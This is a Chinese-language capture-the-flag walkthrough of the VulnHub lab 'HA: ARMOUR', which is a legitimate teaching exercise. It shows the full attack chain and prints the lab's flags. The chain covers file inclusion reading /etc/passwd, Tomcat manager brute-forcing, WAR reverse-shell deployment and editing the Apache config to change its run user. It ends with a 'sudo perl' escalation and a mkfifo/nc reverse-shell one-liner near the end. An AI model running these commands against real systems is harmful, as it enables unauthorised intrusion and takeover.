VulnHub靶场学习_HA: ARMOUR

HA: ARMOUR

Vulnhub靶场

下载地址://www.vulnhub.com/entry/ha-armour,370/

背景:

Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲。猎鹰检查了清单,以下是不负责任的事情:

1.绿巨人护甲 HulkBuster Armour

2.蜘蛛侠盔甲 Spiderman Armour

3.蚁人盔甲   Ant-Man Armour

4.黑豹盔甲   Black Panther Armour

5.钢铁侠盔甲 Iron Man Armour

克劳隐藏所有这些盔甲,现在由您决定。您可以使用渗透技能来恢复全部能力吗?

                                                                -史蒂夫·罗杰斯(Steve Rogers)上尉

PS: Klaw有将密码分为三部分并保存在不同位置的习惯。因此,如果您有一些建议,请结合起来继续前进。

 

首页:

 

首先进行端口扫描:

存在多个端口开放,依次对65534、80、8080、8009

由于该靶机是在2019年发布的,8009AJP漏洞是2020年公布的,所以尽量不使用。

该AJP漏洞是可以在Tomcat的webapps文件夹下任意文件读取及文件包含(此靶机存在该漏洞)。

 

尝试连接SSH:192.168.136.177:65534 获取到flag及一个提示。

 

绿巨人护甲

HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}

Hint 1: TheOlympics

 

查看80端口,挺简单的没有太多复杂的东西。

 

进行目录扫描的的同时,查看下源码。

 

查看源码。

 

发现armour、69、notes.txt,应该是给的提示吧。

会不会是端口呢,前面没有扫出来,试试UDP扫描

 

百度下69端口下的服务。

 

这里是开启的Windows下的tftp服务进行连接,获取notes.txt文件拿到flag。

 

蜘蛛侠盔甲

Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}

Hint 2: maybeevena

 

能下载试试能不能上传,但也不知道上传的绝对路径,拿shell也是有阻碍的。

 

查看目录扫描的结果,发现个file.php

 

怀疑是文件读取或文件包含,利用bp进行爆破。

 

发现同样是file。

 

访问//192.168.136.177/file.php?file=/etc/passwd

 

验证下,是文件包含。

//192.168.136.177/file.php?file=/var/www/html/index.html

 

利用该文件包含看看能获取到什么,同样利用bp爆破敏感路径。

 

查找有无敏感信息暴露

 

最终发现了flag。

 

蚁人盔甲

Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}

Hint 3: StarBucks

 

拼接Hint1、Hint2、Hint 3得:

TheOlympicsmaybeevenaStarBucks

获取到密码,或许就是Tomcat的后台管理密码吧。

获得两个提示的时候,百度一下就能获取到密码,

复仇者联盟:无限战争(2018)中的片段。

 

举办奥运会,或者开家星巴克

 

利用Msf进行尝试爆破。

用户名不对,记得前面有获取到/etc/passwd。将里面的armour及aarti加入用户名。

同时该Web页面的单词也少,就那么几个。

 

再次爆破,成功获取到账号。

 

利用Tomcat的war部署获取shell。

 

将下面的jsp文件打包成war包上传,从而反弹shell。

 

获取到Tomcat权限的shell。

 

查看了下Tomcat所在的文件夹,

前面有思路就是直接利用文件包含读Tomcat的配置文件获取密码。

 

在文件包含那个点,有输入过正确的路径,只是没有权限,所以没有成功获取。

 

看下sudo -l  和 find / -user root -perm -4000 -print 2>/dev/null

 

lsb_release -a 查看发行版本

uname -a 查看内核

 

netstat -tunlp 查看网络

 

有个本地的8081端口,在/下无权限。

 

切换到/tmp下尝试。

 

获取到flag。

 

黑豹盔甲

Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}

 

还剩最后一个提权的flag,但目前的tomcat权限下无法提权。

发现/var/www/html文件夹的权限是777。

 

利用下Apache反弹个shell试试。

利用tomcat在/var/www/html下建立反弹shell的nc.php。

 

没有回显。

 

查看权限,给个读权限。

 

 

 

反弹shell,权限

 

也没有获取root或home用户权限,但应该是从这个点获取shell,毕竟/var/www/html默认不是777权限。

那能不能改变Apache的上线用户呢,查看下Apache的配置文件看看及有无修改权限。

先用find来找下有无特意则为777权限的文件,默认是不会存在的。

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null

 

发现了Apache的配置文件及Tomcat的用户管理文件,剩下的就是我前面利用文件包含的遗留文件。

查看cat /etc/apache2/apache2.conf

 

根据设置转到cat /etc/apache2/envvars,发现了上面获取到的shell用户www-data。

 

尝试修改,无权限。

 

那就在/etc/apache2/apache2.conf下将修改:

User ${APACHE_RUN_USER}

Group ${APACHE_RUN_GROUP}

修改为:

User root

Group root

修改后要重启Apache,www-data没有权限重启的Apache,这里只能重启的服务器

 

改为root后Apache无法运行,只能利用Tomcat权限的shell将root改为armour。

 

sudo -l和suid都没有可以利用的提权点。

将/etc/apache2/apache2.conf配置里的user及group改为aarti找下有无提权点。

 

 

 

提权:sudo perl -e ‘exec “/bin/bash”;’

由于不是交互式shell,提权后无法返回root。所以这里是利用nc反弹交互式shell。

 

mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf

反弹成功,提权获取root权限。

 

进入root文件夹获取flag。

 

钢铁侠盔甲

IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}

 

 

—-end